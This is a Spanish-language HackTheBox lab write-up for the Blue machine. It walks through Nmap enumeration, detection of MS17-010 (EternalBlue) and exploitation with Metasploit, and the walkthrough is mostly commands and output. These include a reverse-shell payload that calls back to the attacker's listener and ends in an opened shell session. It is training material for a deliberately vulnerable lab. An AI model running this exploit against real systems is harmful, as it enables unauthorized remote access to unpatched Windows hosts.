HACKTHEBOX

WRITE-UP

Maquina Blue

Autor: Aarón Ibarra

Fecha: 31 de octubre de 2025

© 2025. Todos los derechos reservados.

Índice

1. Introducción **2**
1.1. Antecedentes 2
1.2. Objetivos 2

2. Enumeración **3**
2.1. Reconocimiento inicial 3
2.2. Nmap 3

3. Explotación **4**
3.1. Metasploit 4

1. Introducción

1.1. Antecedentes

La máquina **Blue** de la plataforma **HackTheBox** es una de las más representativas para iniciarse en el pentesting de sistemas Windows. Su objetivo principal es exponer al atacante al análisis de servicios SMB y a la explotación de una vulnerabilidad crítica ampliamente conocida: MS17-010 (EternalBlue).

Figura 1: Detalles de la máquina.

Dirección URL

https://app.hackthebox.com/machines/blue

1.2. Objetivos

Durante este ejercicio se busca evaluar y explotar una vulnerabilidad crítica en el servicio SMB de un sistema Windows para obtener acceso remoto no autorizado y comprender el impacto real de una mala gestión de parches.

Figura 2: Habilidades desarrolladas en la maquina Blue.

2. Enumeración

2.1. Reconocimiento inicial

Se comenzó realizando un analisis inicial sobre el sistema, verificando que el sistema objetivo se encontrara accesible desde nuestra máquina atacante. Para ello, se utilizó la herramienta `Ping` para enviar paquetes ICMP al objetivo y confirmar su disponibilidad en la red.

```
❯ ping 10.10.10.40
PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=96.6 ms
64 bytes from 10.10.10.40: icmp_seq=2 ttl=127 time=89.9 ms
64 bytes from 10.10.10.40: icmp_seq=3 ttl=127 time=94.5 ms
^C
--- 10.10.10.40 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2010ms
rtt min/avg/max/mdev = 89.883/93.656/96.565/2.795 ms
```

Figura 3: Reconocimiento inicial sobre el sistema objetivo.

2.2. Nmap

Una vez localizado el sistema, se realizó un escaneo completo de puertos TCP contra el sistema objetivo utilizando `Nmap`, con el objetivo de identificar los puertos abiertos y los servicios expuestos.

```
❯ sudo nmap -p- -Pn -sS -n --min-rate 5000 -oN allports 10.10.10.40 --open
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-07 20:05 CST
Nmap scan report for 10.10.10.40
Host is up (0.59s latency).
Not shown: 38286 filtered tcp ports (no-response), 27243 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49153/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 24.76 seconds
```

Figura 4: Escaneo inicial de puertos con `Nmap`.

El resultado del escaneo confirmó que el host se encontraba activo y reveló la presencia de varios puertos abiertos, entre ellos 135, 139 y 445, asociados a servicios MSRPC, NetBIOS y microsoft-ds (SMB), respectivamente.

Dado que el servicio SMB se encontraba activo, se procedió a realizar una validación específica de vulnerabilidades utilizando `Nmap`, empleando el script –script smb-vuln-ms17-010, con el objetivo de confirmar la presencia de la vulnerabilidad MS17-010 (EternalBlue).

```
❯ nmap -p 445 --script smb-vuln-ms17-010 10.10.10.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-13 09:55 CST
Nmap scan report for 10.10.10.40
Host is up (0.11s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
```

Figura 5: Detección de vulnerabilidad MS17-010 con `Nmap`.

3. Explotación

3.1. Metasploit

Tras confirmar la presencia de la vulnerabilidad MS17-010, se procedió a utilizar la herramienta `Metasploit` para explotar dicha vulnerabilidad y obtener acceso remoto al sistema objetivo.

Se seleccionó el módulo `exploit/windows/smb/ms17_010_eternalblue` y se configuraron los parámetros necesarios, incluyendo la dirección IP del objetivo y el payload a utilizar.

```
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.10.40      yes       The target host(s), see https://docs.metasploit.com/docs/using
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only
                                             ines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affe
                                             .
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Window


Payload options (windows/x64/shell_reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.72      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


View the full module info with the info, or info -d command.
```

Figura 6: Configuración del exploit en `Metasploit`.

Una vez configurado el exploit, se procedió a su ejecución, lo que resultó en la obtención de una sesión remota en el sistema objetivo con privilegios maximos.

```
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> run
[*] Started reverse TCP handler on 10.10.14.72:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/recog-3.1.17/lib/recog/fingerprint/regexp_factory.rb:34: warning:
ular expression
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.72:4444 -> 10.10.10.40:49160) at 2025-12-13 10:03:00 -0600
[+] 10.10.10.40:445 - =-=-=-=
```